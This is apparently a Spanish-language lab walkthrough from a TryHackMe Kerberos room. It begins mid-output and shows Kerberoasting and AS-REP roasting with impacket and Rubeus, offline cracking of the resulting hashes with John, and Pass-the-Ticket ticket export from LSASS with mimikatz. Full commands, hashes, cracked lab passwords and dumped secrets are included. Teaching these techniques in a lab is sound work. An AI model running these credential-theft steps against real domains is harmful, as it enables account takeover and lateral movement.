                             2A3A6FBDA88FAD4BE9C4BAECBA1E60FD0AE75514D42543A1106F155CCBCBF03B3837FF2C09285A0F
                             176FF27D87F429DA6141F68DD45FE5BA5005812AF448ADDE8433705F5B297C979E544031ED75B3AB
                             860409C16FBDB86CAF2A5B40863DA2A75E39A177F5FF75F71423FC8B1912F1BF3090D6130D0D0494
                             5753400DDE6B3FEC7C8EEBA07B0DEF45A27FDAA41D5689D242E86C9AC79020A9B432DEC02628230A
                             E996FCDA67F5C4312B5CA6A22BD54BACDA9636CAF7B7022A9DAC72E1116EE864379EA070D7514432
                             029DBD913AF7FC0B9C976E1253EEEBE148AD1235629F66766CDA1665FAC7903C9EB6B21B24C7CFFF
                             2E27BE01D129A7CB2DAA727817948FFC0728485555034647C23CAD1DE3B2FF8D947CDE4C0771077A
                             69660D2DCECD12B136E24734170B6BD8B5E5BDEF0EF107E2AED8DDBF47228D89C5DFC56C060C024A
                             20F39D9FAA265398EBA0BAEB84CAE921E85B7EAC162FB6220EDD1480BCBCD503B422E983DEACB2C1
                             BA3F8EA95FEDA1969107B13DCA7B8B6B024CC94D9887B3FA40477CC9B9107A673578949D02349CAA
                             631D21D0D668CDD5D4E59D3F784706359A8E81D0C79F3CFDE264D70EB6


[*] SamAccountName         : HTTPService
[*] DistinguishedName      : CN=HTTPService,CN=Users,DC=CONTROLLER,DC=local
[*] ServicePrincipalName   : CONTROLLER-1/HTTPService.CONTROLLER.local:30222
[*] PwdLastSet             : 5/25/2020 10:39:17 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*HTTPService$CONTROLLER.local$CONTROLLER-1/HTTPService.CONTROLLER.lo
                             cal:30222*$004CECD8819D3B0E02EA99631B2B554E$12666E3DEE0CFA494A03D45C3AF83CC78423
                             4CB411651F61609079E773D46A7FA88E80E9AD4A70CDB4E063106E22B001C47940193ED308480C8B
                             C82C7FBCFD6EBEC49DE78427B11760EEF22C390BB825C2C99117783399A3EFD39C39F094F902EF85
                             90E4B3F99B9EE97495EC60EFA5B1DDB3F5859614D904727E0A6E9E61AAE42CCBF239171D2D95EA14
                             6B39E41989A7801E40B89A86407F51E5D67AAA5596BB5F3D9ABF1EA0C1692F49E3D65D618C33CBDF
                             61BE2AC3E9A4CEC472DF86D7AD373B260EB76F812F40C5D3198F2573EA28D7165D3D3241C55EC1B6
                             591CC32812EB8F3C90B6715DCCC97230411981EA44872B9C87916F4AAF3C45142D697C7726387567
                             1AD230C5E9F9D9689E0205E2BDC14073DC89F6E04588385401F0047E8AC73A1301F54510CC29874C
                             C33E5C95962879744E513003E6ABCB0FB6B37DA9EB3BF356A85B74E090420EA771CDA24A77D7554B
                             32F625095D9E159706EE94FA4BA518291D2DEE48163F53478C395CD528769F3D03E79D6B9EB69944
                             C516DB46D332D0B5D5030DA02205037BB2FD220706E070580437B219982F3032742B94FD5A422C0D
                             E9437575C7B1B027659F2AF5F633EE712861DC013080DDDD115A48861555F36450A08E719B3FBC0E
                             682DA7314696768E15C902222505A863073367D51570581B42B8A4CF2143EF3CCD7295E8D10462AB
                             893689704D5BE61E917135398EAA498723783AC75E119856369EABD52C7C435C6C8942B83199D8A3
                             DD6F4F2197D5FCC31AEB161189C6687907B3BEF6F7CB27B6C4BCC3DDEE516E372D2ADE29FE1E008F
                             7C86B5304D11F5E908530191C7E0CE59F878E721CDA7AEE40693A9FF9990565F4657340C4FAE616E
                             EEF5D32B3A7ABC7E1CDA93DBC0E069916C8B133EC2E8F3109733ED8F131C91E69C5C230BE5220ADC
                             BA3D85C31663611B989750E9F5F971591DD0CEFA92A4203C54F1CF6DA3C819A5E2768CA1B15ABC11
                             A9B68FB38C3CDD5D8CB30F86884646AFC0E47F11F44D29D35C2A72F2A265E7DDB71D4A226E46089C
                             6D0017C4DC9F638412662124D8C5E9D7F02E3D4F8EE0BD0FEBCE642B562FBEDC8A1C08B2F1C72914
                             CCD6E1E6AA40A311FEB6DBF670716ED680296F55215D2524B3DCBDF13B204B3450A4DEDD6B1DE036
                             3AF2D29563703FFE23CDD540A01538194E23122D22083E7B2D36D6D17DFDE49FD31F31539DC87383
                             23745BF72F907DFC9160E0C2ABF0E257C0BA7A783BFDAA4ABEB3111B7B7ABEFDD9F2419C7ED3CFCE
                             8D4CCD8E741826BD3C733F75FBB36AD22B993FDE8A4FD0D1C217B0ECCC898B83A337632D2245CE2C
                             ED5007FDE3D5D188CE983A037F87F52DCCED6F29CB8F509A026C8B5C9AB84A01D7934CF8389CCC28
                             E1DCE925D24ED4DA097385324B7824A77860F20D7C3A6A664FFF21E3FE640F1D408B1E8D1957D5F8
                             41A5BF114F906D13C001272BB316379DA22DDD10DF1F3060AE6E92B7C6B187DB0B0240C0ABA13E21
                             CB2285F1E32321655A442D53E0CEFB17AC6BE8550D07784542A8D3BE92C4262704494E5D0A582547
                             2646A6CCFDB9CEF48D7378D8B2D4282522864A11FE1F04C0E6D295271DC1C25C7EA47D8F84A40058
                             A4070F6C9C220A99338CC4A822F714918259C673362ECB29DEC09946AD5C

Nota: si al usar el script de impacket tenemos el siguiente error KRB_AP_ERR_SKEW(Clock skew too great) quiere decir que la diferencia de tiempo entre nuestra máquina Kali y el controlador de dominio (DC) es demasiado grande. Kerberos es muy sensible al tiempo, y por defecto solo permite una diferencia de hasta 5 minutos entre cliente y servidor. Entonces para sincronizar nuestro equipo con el DC vamos a usar ntpdate <IP_objetivo>

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# impacket-GetUserSPNs controller.local/user3:Password3 -dc-ip 10.10.52.78 -request

[-] CCache file is not found. Skipping...
[-] Principal: controller.local\SQLService - Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
[-] Principal: controller.local\HTTPService - Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# ntpdate 10.10.52.78
┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# impacket-GetUserSPNs controller.local/user3:Password3 -dc-ip 10.10.52.78 -request >> hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

ServicePrincipalName                             Name         MemberOf                                                         PasswordLastSet             LastLogon                   Delegation 
-----------------------------------------------  -----------  ---------------------------------------------------------------  --------------------------  --------------------------  ----------
CONTROLLER-1/SQLService.CONTROLLER.local:30111   SQLService   CN=Group Policy Creator Owners,OU=Groups,DC=CONTROLLER,DC=local  2020-05-25 18:28:26.922527  2020-05-25 18:46:42.467441             
CONTROLLER-1/HTTPService.CONTROLLER.local:30222  HTTPService                                                                   2020-05-25 18:39:17.578393  2020-05-25 18:40:14.671872             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*SQLService$CONTROLLER.LOCAL$controller.local/SQLService*$177a413dedb86892862bef1f75c2a1bd$542c66acbc86485d911e042dbb0b0114f92dab85af4010c61934776f3e624c748f8d543d565d1a63592402d74c58e55e5e47eeeb14217cdd552cecfaaa07f4cbdc51429d09420267905e2eaf4eeb0f27e8317eb1501d3cb795b16b814dfb3b50525ba21967d57725a601f21b8935009c21cd04a358761f525a8b171e477ab971d96e13fb71f531398b50553e13f07e687e1772ec5737ed477492855ab1fdf4cd18d9945b4c017173999258b849a690ebb8be2f7345fe51cfe0d52bcf9be4ef7c55b9fa6e8f2c561d7089a99de36fbc66465bc8297468305082a11d5f512acc2b893b73a3554bfab299f4c1ea0aa570203c1bf172512c0a61b203ce73bbf570371fbfb144a9c8930f57113c5a95b09d6e4cd2e1f7cf75b422612105f705ba9f5ca177dc42688167df6de1789c9d7287c584efc3a01dfdf7b592aaf6fb65fc2a14dd6b979058841dd6856ca2a4e5dd2fd3d27a545bb4016dfaef337aa41aeb8547227dab2e95521874dbab9b21568beeea9da1736219ddbb58a8adf35f47c70f3d2fd1a25e33afb9a2227079993b01cc1cbd08c7c2210fdd273cb2faa299b54599fc4b091730f16d8216e203fe6ac541e6170bd3b6cb9a08c470442de11398430ea5cd0e74e9849f827b106a5bbf828bb1113c9007da93ae67abe40847d10e727da406f30e8fa51b2d53c0153bad2794f6b53e9a3d911fded5dd65e9ca0a51d2fe98e322f88935fe253a713c41f853653f2e0ca8c86ce1b145c7e72ecaf787abd55a8f366ded2c63fc372b2056cb0279bfa8a35fd69436575a269f0c81ecd3939de454ddaa90c1ca5c578a2504b7a12da9bd94da0176ea1597f6b78c3230346e7c3af3c9995352b4fed6b7a306116a07acb652cd407dcd491afaf5d5c7787a480ad6ca215145232f592a95882e95216206d9051673e34ae8dd954ab311b0fc8ef73ee3c2e962670393717c1f0358f98b286e1d080dce9e8ce4271257d9ecfaf7e9f90009a09e50114474854b7ba1befbf962a3ba93a24ba73454cde2d918f7cd0dd996d2bb29aaf233fa5478158db6fa2c3ff19780f1447d463ac0038b0820ea4e412b2aa01dc269c587e5e452244dcb8280a0b81cc54b001cbdf0881d3f0d17d4e32d058710826fc22c5a819955bab262d5de4196ce99ef4b06652dc7d4720d986f8f74db1bddb2fdb6cf925c2b61021935e3442a4922904f3fbf5448542fd0060e4c49b3c007f2e5b830002cb0b3891f4e19ca9156b210b8bb7b14ed7b2a676c6611b9c6aa36affe2631216aa30cef6042a87d834b31295fa2c5fd1ecaaae9c5255e66bbfa8cdc304db758e2ccb8d58e4f45cd4bcb46
$krb5tgs$23$*HTTPService$CONTROLLER.LOCAL$controller.local/HTTPService*$b501b67ada487d7e734b7235e0ddbf78$4a0e3c5fb399ecb52f87078ed43e6ce5184bc98455fb8e8989b9e3ca115a0c50b3e929b4db8c94b4b3c78c3c0a504f84c4910055bbf38be003e9183be705cf51b258592d25ed6c0e238b7b04e7c2c18319654709079b5152f1fc665a9d2ed2782dab828475723df95f3a21eaeb0d39e1336dfac2730f8ecf7a1cc690c681ea71584f35415d544f612430e6427d3b52936d627208ad2a308df1bb5c4e0d705872c0e706133b8db3537f955821337a67b76e021898843fc76657d8c9bfefc3b440e66908a86fe86bb3ff966ec31d5f24acaf953f50d8ef3c8bedcacdd53f0dcc15c0040193895355777257c723c81c4630e1bd39da5cd10b2fe5c8fe1585faac2a9010ebe51d4e8875cd9ee76f5122b5c01c62a50408700124a63d4c16072ea8388fd5e76e32a395029ebea5352f97a52711a097bccb4ddb690b884066e80539fb556218a69c7a2e172245f55c4922f2d15aada64c79bffc84966a93319ee25d1baa668c7b284a2c51ef76328918910282c87c8999844e220973a1676bac26598f4fd74ffe8316be87b7bea62dae34522043c5614b38b7af05b3c86bfcfe8b6c2edaec03daec0e6ec310d51a863aa9bb4cdfd6b0a3d0ea648dd8043d30a626e79a9567bfc85efb14614a8cd20b1083c72caca257aad0b296e909384443a0abbe234d685155f4e035b281ced17e55804008a1a4c6ee060898aa668c621d8b286fc70d58f8c76f22e7e15fad80de763f1ccd559d4b36f5840aa2afc05af5cdf2eddd896469e679c25c9d82c9d804e03aa890c23da4c4e8e4963a69e2692a26d63f2640254b207f8cc1676e614b33673a87b314a65a18a12efc34b741a6751670b860716906e2da2d4cf4a30dff7f66abaee8dd2a940bc0dd168187f904fff5c8145e171c23b083eaf887a0a8e4eb1c9b2a90f4ee02007a6f889d5009e94e9d5d5aba861fe513d828a244dda4c154f097435334df9dc3425d22f5598affbe8548020dc3bf6c58fac258386799d14f74748cb45bd2ddc54793e0b095624a6b889c0de3064d3cf941305eee7a6c0887e18aa7a590feea69dd8cdd4a76dc25fc17a39ac8b497fb2ccdfee8e8033ff060d4f4614c0bb1b0209f1f2cfa393f3d9e40d15be6135c53b3730a29470a2be6e847740c7b3c952d8835db3bc57d8ccd4cbbe3379ba23fca598e9f59952c6159430df2f70a5ad2c44191cf6c43b6b9cc7927ffe2fe5034b019c415e5d97fd048984c1e0216fe2bad7fae68d4254e51d6c081dd40b14ede0c96c061fbb79d2e7c9f4e3b7f780b51601d532881c4027bf9c6d90e9ddbe4bfb12e8eef3bbea8e334e1893d70e30c5a765ae58b

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# john -w=Pass.txt hashes.txt                             
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Summer2020       (?)     
MYPassword123#   (?)     
2g 0:00:00:00 DONE (2025-05-23 01:38) 100.0g/s 62000p/s 113200c/s 113200C/s paulina..hello123
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
📌 Parámetros
  • controller.local/user3:Password3 Credenciales válidas para autenticarse contra el controlador de dominio.

    • controller.local: nombre del dominio.

    • user3: nombre del usuario del dominio.

    • Password3: contraseña del usuario.

  • -dc-ip 10.10.52.78 IP del Domain Controller al que se le envían las peticiones Kerberos. Especificarlo directamente evita depender del nombre DNS o del descubrimiento automático del DC.

  • -request Este parámetro indica que se deben realizar solicitudes TGS reales para las cuentas con SPN encontradas. Es decir, no solo enumera las cuentas, sino que también solicita los tickets cifrados para luego poder crackearlos offline.

  • >> hashes.txt Redirección de salida estándar (output) al archivo hashes.txt. Todo lo que la herramienta imprima en consola (incluyendo los hashes extraídos) se guarda en ese archivo para uso posterior (por ejemplo, con John the Ripper o Hashcat).

Una forma de rastrear objetivos para probar un kerberoasting es usando BloodHound. Si todavía no conoces esta herramienta, te recomiendo que leas el siguiente artículo introductorio

Realizando una recolección de data con SharpHound, podemos visualizar cuentas con SPN y ver si son miembros de grupos como Domain Admins o si tienen privilegios especiales. En la GUI de BloodHound, podemos buscar la query predefinida: Find Kerberoastable Accounts. Esto nos da una lista de objetivos ideales para Kerberoasting

AS-REP Roasting con impacket-GetNPUsers y Rubeus

En un ataque AS-REP Roasting, el atacante explota una debilidad en cuentas de Active Directory que tienen deshabilitada la preautenticación Kerberos. En este escenario, el servidor KDC responde con un mensaje cifrado (AS-REP) utilizando una clave derivada directamente de la contraseña del usuario. Este mensaje puede ser interceptado por un atacante y posteriormente sometido a un ataque de diccionario o fuerza bruta de manera offline. Lo que hace viable este ataque es que el contenido del mensaje cifrado presenta una estructura predecible y estandarizada, lo que permite al atacante verificar si una contraseña probada es correcta basándose en la validez del resultado del descifrado.

En contraste, los tickets TGT (Ticket Granting Ticket) y TGS (Ticket Granting Service) no son vulnerables al mismo tipo de ataque debido a que están cifrados con claves que no dependen del usuario. El TGT es cifrado con la clave secreta del servicio krbtgt, mientras que el TGS lo está con la clave del servicio de destino. Estas claves no están disponibles para el atacante y no es posible derivarlas a partir de contraseñas de usuario, lo que impide verificar offline si una contraseña es correcta. Por lo tanto, aunque un atacante pueda capturar estos tickets, no puede realizar un ataque de fuerza bruta sin acceso a las claves internas del dominio, lo que refuerza la resistencia de Kerberos frente a ciertos vectores de ataque.

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# impacket-GetNPUsers CONTROLLER.local/ -dc-ip 10.10.188.83 -usersfile User.txt -format john -outputfile tgt_hashes.txt
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

/usr/share/doc/python3-impacket/examples/GetNPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.now(datetime.UTC).
  now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User admin1 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$admin2@CONTROLLER.LOCAL:375406f441b55f8e0fcec9cd0122b082$fd218dd773a6b4b8c7c56472affbfbe4802b7b3701825783dcf02eb60266cf292639055f299e5e863f25d55b65a27e63ab537d46fd0f6aefc71021cec4d6e7d84788eefeec7581cca6f19c765b52287730f67b26f1575985e7984ce6cd256dc2911c7b55c0ac71e1125537ec4249fede695bd2e3db969f37d6758a15bb77947054a96f18e70eed26e8b87deb7525754a357c239f525602f5d9b1133788f2a850e9621ed2c75ada707aa46b98626e3e26d068306496ebb2e0c7236cef164fa21693e4d23dd59d6037d66ff7afdef9c36a293371371dc72cd0fc85b99045f7717a282955c222455f1e4745d23e541e4ba898cc2451
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User httpservice doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User machine1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User machine2 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User sqlservice doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User user1 doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User user2 doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$user3@CONTROLLER.LOCAL:3b7fb00875c17702f9dc4ac40c8b6fdb$490e70e9999cace9aa4d91c644334131c01ef2d20333683bf3e656ce2ae6bc6cd1b383af2952ba08bc967e0d119459e3f50a4850fd7654adb1550cd1a988c24e4511e0fb59270b8314fa93966d8c7aef6dae5af5dd47ccc12418ffc922f7401145eb95d2ead55d091fd7e26c033260731bf55a75c05af37e28c6e86cb1e11479ff0e02bc48450847ee23b1141f9a2533a37bf9e20c3e360826f2f4a15e82bfba4e67708941bee1df83964b23cde71474268438eeb943cb4206010ca8840c1b4adb335a168d465529db24ec1427faadbc2efd9c21dea3e4d657fa5ca7f4b42aed437e2bed809d26bd3a5701e518469bff66e368dd

Ahora solo debemos crackear estos hashes con John:

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# john -w=Pass.txt tgt_hashes.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
P@$$W0rd2        ($krb5asrep$admin2@CONTROLLER.LOCAL)     
Password3        ($krb5asrep$user3@CONTROLLER.LOCAL)     
2g 0:00:00:00 DONE (2025-05-23 15:15) 100.0g/s 51200p/s 102400c/s 102400C/s diego..moomoo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Para descargar los hashes usando Rubeus vamos a conectarnos al ssh del equipo objetivo y ejecutarlo desde su cmd

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# ssh Administrator@10.10.188.83 -o StrictHostKeyChecking=no  
Warning: Permanently added '10.10.188.83' (ED25519) to the list of known hosts.
Administrator@10.10.188.83's password: P@$$W0rd

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>Rubeus.exe asreproast

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: AS-REP roasting

[*] Target Domain          : CONTROLLER.local

[*] Searching path 'LDAP://CONTROLLER-1.CONTROLLER.local/DC=CONTROLLER,DC=local' for AS-REP roastable users
[*] SamAccountName         : Admin2
[*] DistinguishedName      : CN=Admin-2,CN=Users,DC=CONTROLLER,DC=local
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::114:873e:e1a8:3e1e%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\Admin2'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$Admin2@CONTROLLER.local:1BD91B9E08950A22941B2E16DB7C56B5$624D51E5D2B6
      7D590828414BFAD8EADE8F8ADEEF920A1FCEA13974A4EE78364C0DCBE843E0DB433679540A62E419
      7657F75BC70DABB49C770447B439BF24FBF0285C3D65568740BB5F104681E81BC39FCEDE2795BF29
      88E334B71DF8D8F241993227251CF782BF73745C96AF16CD275968C4945456C7DA883D31950DD1DA
      B923009CC5C6AB0FF79A57A9F034716A46A20F0AAF3DE379E6240AF1BFE3CF3E89651104DF0753EB
      42279DAD29A2F6EC923820976C9B166ABD858F1E79EE2AE7D0D3F4BEED6EA41C15D70AA84E2EF8BC
      E2F3959DAFA44F6CBE2820A32A7788DA2D6E2EEDD183933CDEF679291437FAE458E129937CA4

[*] SamAccountName         : User3
[*] DistinguishedName      : CN=User-3,CN=Users,DC=CONTROLLER,DC=local
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::114:873e:e1a8:3e1e%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\User3'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$User3@CONTROLLER.local:6F723C83A4B5A225F29439AC33232712$DB1F4D29AB62A
      EEAFDB12B73D690A1CC7413C6DC22C7251E053C4F1E9505AF08A84E08360279882C810EF0CA2DBCA
      DF057F2427D168D20520214549120094DD878B3335272E3BF32B9FF3C02BC1264884361AE100E226
      E2D3AD67575CC7B7E2FED7E377BFD97F20982E74E348DEBD5B6660A08DD662134139958D8F0F0ACB
      A735CCF4B23AF323E3D87343A82430F589EC85DF8E2B72923B6343AE446E1CC1E462AAE663F198F1
      2A4A6E82134FFE54FB057EC40FF9F07333E0C81036A7E7573613E8F3F1302821F2C1B13353961080
      4B199AC48998A166381C81B7E2E8BDB1D76932278A027FD550FCE20F9809EB7DD23FB9A4CFB

Y así podemos obtener las credenciales de los usuarios Admin2 y User3

Pass the Ticket con mimikatz

Pass-the-Ticket es una técnica de post-explotación utilizada en entornos Windows basados en Active Directory, mediante la cual un atacante puede reutilizar tickets Kerberos legítimos extraídos de la memoria del proceso LSASS (Local Security Authority Subsystem Service). Este proceso, responsable de la gestión de credenciales y autenticaciones, almacena en memoria tickets TGT (Ticket Granting Ticket) y TGS (Ticket Granting Service), así como otros elementos sensibles. Herramientas como Mimikatz permiten extraer estos tickets en formato .kirbi, que pueden ser inyectados posteriormente en otra sesión para suplantar la identidad de un usuario dentro del dominio, sin necesidad de conocer su contraseña. Esta técnica es especialmente útil cuando el ticket capturado pertenece a una cuenta con privilegios elevados, como un administrador de dominio, ya que permite escalar privilegios o realizar movimiento lateral en la red.

El ataque Pass-the-Ticket no implica la creación ni modificación de tickets, sino la reutilización de uno previamente emitido y aún válido, lo que lo convierte en una técnica silenciosa y difícil de detectar si no se cuenta con mecanismos de monitoreo adecuados. Su eficacia depende del acceso inicial a una máquina comprometida desde la cual se pueda extraer la memoria del LSASS, y del hecho de que los tickets de Kerberos suelen permanecer en memoria mientras son válidos. Por tanto, si un atacante consigue obtener un TGT de una cuenta privilegiada, puede usarlo para autenticarse en servicios y recursos dentro del dominio, actuando con los mismos permisos del usuario legítimo.

El equipo objetivo ya tiene instalado Mimikatz para que podamos realizar el ataque desde la cmd sin tener que cargar el binario al equipo previamente. Entonces para realizar esta prueba de concepto primero vamos a conectarnos al ssh del equipo objetivo y ejecutar mimikatz desde el cmd. Luego vamos a habilitar los privilegios de depuración para acceder a la memoria del proceso LSASS, desde donde extraeremos y exportáremos los tickets de Kerberos activos, entre ellos el Ticket Granting Ticket (TGT) perteneciente a la cuenta de administrador del dominio. Posteriormente, inyectamos dicho ticket en la sesión que tenemos en ssh utilizando Mimikatz, lo que nos permite suplantar al administrador sin necesidad de conocer su contraseña. Finalmente, verificamos que el ticket ha sido cargado correctamente mediante el comando klist.

┌──(root㉿kali)-[/home/kali/Documents/THM/AttackingKerberos]
└─# ssh Administrator@10.10.188.83 -o StrictHostKeyChecking=no  
Warning: Permanently added '10.10.188.83' (ED25519) to the list of known hosts.
Administrator@10.10.188.83's password: P@$$W0rd

  Directory of C:\Users\Administrator\Downloads

05/25/2020  03:45 PM    <DIR>          .
05/25/2020  03:45 PM    <DIR>          ..
05/25/2020  03:45 PM         1,263,880 mimikatz.exe
05/25/2020  03:14 PM           212,480 Rubeus.exe
               2 File(s)      1,476,360 bytes
               2 Dir(s)  50,931,130,368 bytes free

controller\administrator@CONTROLLER-1 C:\Users\Administrator\Downloads>mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59              
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)                               
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )  
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz                    
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com ) 
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/ 

mimikatz # privilege::debug 
Privilege '20' OK 
                  
mimikatz # sekurlsa::tickets /export 

Authentication Id : 0 ; 225810 (00000000:00037212)                                                
Session           : NetworkCleartext from 0                                                       
User Name         : Administrator                                                                 
Domain            : CONTROLLER                                                                    
Logon Server      : CONTROLLER-1                                                                  
Logon Time        : 5/24/2025 3:46:27 PM                                                          
SID               : S-1-5-21-432953485-3795405108-1502158860-500                                  
                                                                                                  
         * Username : Administrator                                                               
         * Domain   : CONTROLLER.LOCAL                                                            
         * Password : (null)                                                                      
                                                                                                  
        Group 0 - Ticket Granting Service                                                         
                                                                                                  
        Group 1 - Client Ticket ?                                                                 
                                                                                                  
        Group 2 - Ticket Granting Ticket                                                          
         [00000000]                                                                               
           Start/End/MaxRenew: 5/24/2025 3:46:27 PM ; 5/25/2025 1:46:27 AM ; 5/31/2025 3:46:27 PM 
           Service Name (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL                     
           Target Name  (02) : krbtgt ; CONTROLLER.LOCAL ; @ CONTROLLER.LOCAL
           Client Name  (01) : Administrator ; @ CONTROLLER.LOCAL ( CONTROLLER.LOCAL )
           Flags 40e10000    : name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
           Session Key       : 0x00000012 - aes256_hmac
             092754636d6d5cef13aabaa4909bbedaa4870ba136afcab2b226f4fe09b7812e
           Ticket            : 0x00000012 - aes256_hmac       ; kvno = 2        [...]
           * Saved to file [0;37212]-2-0-40e10000-Administrator@krbtgt-CONTROLLER.LOCAL.kirbi !

Authentication Id : 0 ; 60270 (00000000:0000eb6e)
Session           : Interactive from 1
User Name         : DWM-1
Domain            : Window Manager
Logon Server      : (null)
Logon Time        : 5/24/2025 3:45:48 PM
SID               : S-1-5-90-0-1

         * Username : CONTROLLER-1$
         * Domain   : CONTROLLER.local
         * Password : cb 64 41 09 b5 e4 49 80 73 3f fc 59 83 6f a8 78 2f a5 89 f6 b7 a5 7e 45 57 dd 25 bf 44 74 b4 b
a ca 13 12 b6 fe 84 51 72 b5 26 c8 de c9 68 b5 7b ef 6f da 22 21 97 9e 17 4d 83 e4 69 d4 91 41 de b3 61 70 56 a1 68 
ba 0a 02 30 87 6d f7 6d fc 9a ca 7c a7 63 56 43 f2 b0 2b 1f 28 e7 f2 47 a1 de 59 dd 60 33 7b 8d cf b4 d2 fa 53 55 ca
 b9 a9 be d7 58 29 2c 6b 95 dc 5a b2 b5 d3 96 dc f8 86 59 6a 71 e6 19 ea 81 e0 03 69 45 fa 90 f1 c2 2e 8d 0e f1 51 3
4 4a d4 6b 49 84 04 01 94 6d b8 f7 1b 0f 2e e3 ae 22 b9 96 d7 df 20 2d ae 68 3f 41 fa 48 1e 09 f8 65 8a 43 c6 ed 8d 
68 24 b8 a0 20 21 87 16 5d 19 0b c3 ab c1 88 7a 04 0d f5 13 4f 9c e5 15 58 3e 9f 04 2a 53 6f 06 7f 7e b5 6e 6f f9 8e
 b4 42 ff c2 50 ff 6f 5a e3 f4 96 2b bd 86 35

        Group 0 - Ticket Granting Service

        Group 1 - Client Ticket ?

        Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CONTROLLER-1$
Domain            : CONTROLLER
Logon Server      : (null)
Logon Time        : 5/24/2025 3:45:46 PM
SID               : S-1-5-20

         * Username : controller-1$
         * Domain   : CONTROLLER.local
         * Password : cb 64 41 09 b5 e4 49 80 73 3f fc 59 83 6f a8 78 2f a5 89 f6 b7 a5 7e 45 57 dd 25 bf 44 74 b4 b
a ca 13 12 b6 fe 84 51 72 b5 26 c8 de c9 68 b5 7b ef 6f da 22 21 97 9e 17 4d 83 e4 69 d4 91 41 de b3 61 70 56 a1 68 
ba 0a 02 30 87 6d f7 6d fc 9a ca 7c a7 63 56 43 f2 b0 2b 1f 28 e7 f2 47 a1 de 59 dd 60 33 7b 8d cf b4 d2 fa 53 55 ca
 b9 a9 be d7 58 29 2c 6b 95 dc 5a b2 b5 d3 96 dc f8 86 59 6a 71 e6 19 ea 81 e0 03 69 45 fa 90 f1 c2 2e 8d 0e f1 51 3
4 4a d4 6b 49 84 04 01 94 6d b8 f7 1b 0f 2e e3 ae 22 b9 96 d7 df 20 2d ae 68 3f 41 fa 48 1e 09 f8 65 8a 43 c6 ed 8d 
68 24 b8 a0 20 21 87 16 5d 19 0b c3 ab c1 88 7a 04 0d f5 13 4f 9c e5 15 58 3e 9f 04 2a 53 6f 06 7f 7e b5 6e 6f f9 8e
 b4 42 ff c2 50 ff 6f 5a e3 f4 96 2b bd 86 35

